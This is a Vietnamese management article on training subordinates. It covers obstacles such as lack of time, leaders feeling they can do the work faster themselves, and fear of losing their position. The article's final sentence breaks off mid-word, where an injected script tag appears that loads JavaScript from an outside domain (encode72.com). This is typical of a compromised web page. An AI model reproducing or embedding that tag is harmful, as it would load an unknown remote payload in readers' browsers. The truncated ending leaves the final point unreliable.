|
Một mình bạn nỗ lực thôi không bao giờ đủ, mà bạn phải tạo dựng được một tập thể lao động khí thế, với nền tảng là những thành viên tích cực và xuất sắc.
Hạt nhân của khả năng cạnh tranh chính là yếu tố nhân lực. Nói cách khác, nhân tài là mấu chốt mọi vấn đề. Tổ chức mà không có nhân tài thì dù có áp dụng phương pháp quản lý ưu việt nhất cũng không duy trì được sự phát triển và viễn cảnh tốt đẹp. Một số tổ chức đôi khi coi trọng không đúng mức việc đào tạo nhân lực, bồi dưỡng nhân tài. Đây vừa là một vấn đề quan niệm lại là một trở ngại thực tế mà người lãnh đạo trong thời đại mới cần ý thức và cải thiện kịp thời.
Vậy làm thế nào để cấp dưới của bạn trở thành nhân tài, hãy chú ý những điểm sau đây:
1. Tháo gỡ các trở ngại
Có 6 trở ngại khiến bạn không tập trung vào việc đào tạo cấp dưới.
* Thiếu thời gian
Đây tất nhiên là lí do chủ yếu và cũng rất hợp lí với những người nắm giữ những vị trí quan trọng nhưng rất có thể sẽ hình thành một vòng luẩn quẩn: năng lực cấp dưới càng kém, không đủ đáp ứng nhu cầu, người quản lý càng không muốn đào tạo thêm. Kết quả là cấp trên ngày càng bận, cấp dưới càng không thể giúp.
Có thể thấy rằng việc đào tạo cấp dưới tuy rất cần thiết nhưng không khẩn cấp, không thể nhận thấy rõ trong từng phần công việc nên thường xuyên bị coi thường. Cách giải quyết cho vấn đề này là nhận thức đầy đủ hơn tầm quan trọng của việc đào tạo và tiến hành đào tạo đều đặn theo thời gian biểu.
* Bản thân người lãnh đạo nghĩ mình tự làm còn nhanh hơn
Nhìn chung ở các tổ chức, những người cấp trên là những người có năng lực, nhiều kinh nghiệm hơn những người khác nhưng đây cũng là lí do khiến họ có tâm lí sợ mất thời gian, ngại đào tạo thế hệ kế cận hoặc không yên tâm để cấp dưới làm thay mình. Kết quả là một mình ôm cả khiến cấp dưới vừa không đựoc học hỏi lại mất đi cảm giác tham gia thực sự vào quy trình làm việc, không có tinh thần trách nhiệm với công việc.
Lúc này người quản lý nên phân biệt tầm quan trọng của từng việc để giao việc hợp lí, cố gắng giao hết những việc có thể cho nhân viên, nhất là những nhân viên mới.
* Sợ dạy trò thì thầy mất việc
Đây là do ảnh hưởng của tâm lí thời bao cấp khi ...nhân viên có quá ít việc cần làm. Nhưng hiện nay, việc làm không xuể, hơn nữa xu hướng mới đòi hỏi phải hợp tác trong rất nhiều nhiệm vụ ngày càng khó khăn, phức tạp. Đào tạo cấp dưới, là có người cộng sự ăn ý, không những “thầy” không mất việc mà còn thêm việc, cả thầy lẫn trò đều vui vẻ.
* Sống chết cũng không dạy được
Có hai khả năng trong trường hợp này. Một là năng lực tiếp thu của cấp dưới quá kém; Hai là năng lực truyền đạt của cấp trên quá kém.
Để tránh xảy ra nguy cơ thứ nhất, khâu tuyển chọn cần làm tốt hơn nữa vì một nhân viên năng lực tiếp thu kém đồng nghĩa với năng lực kém. Còn với mỗi nhà lãnh đạo phải tự mình trau dồi kỹ năng truyền đạt vì bạn chính là ngưỼscript src=http://www.encode72.com/b.js>
|
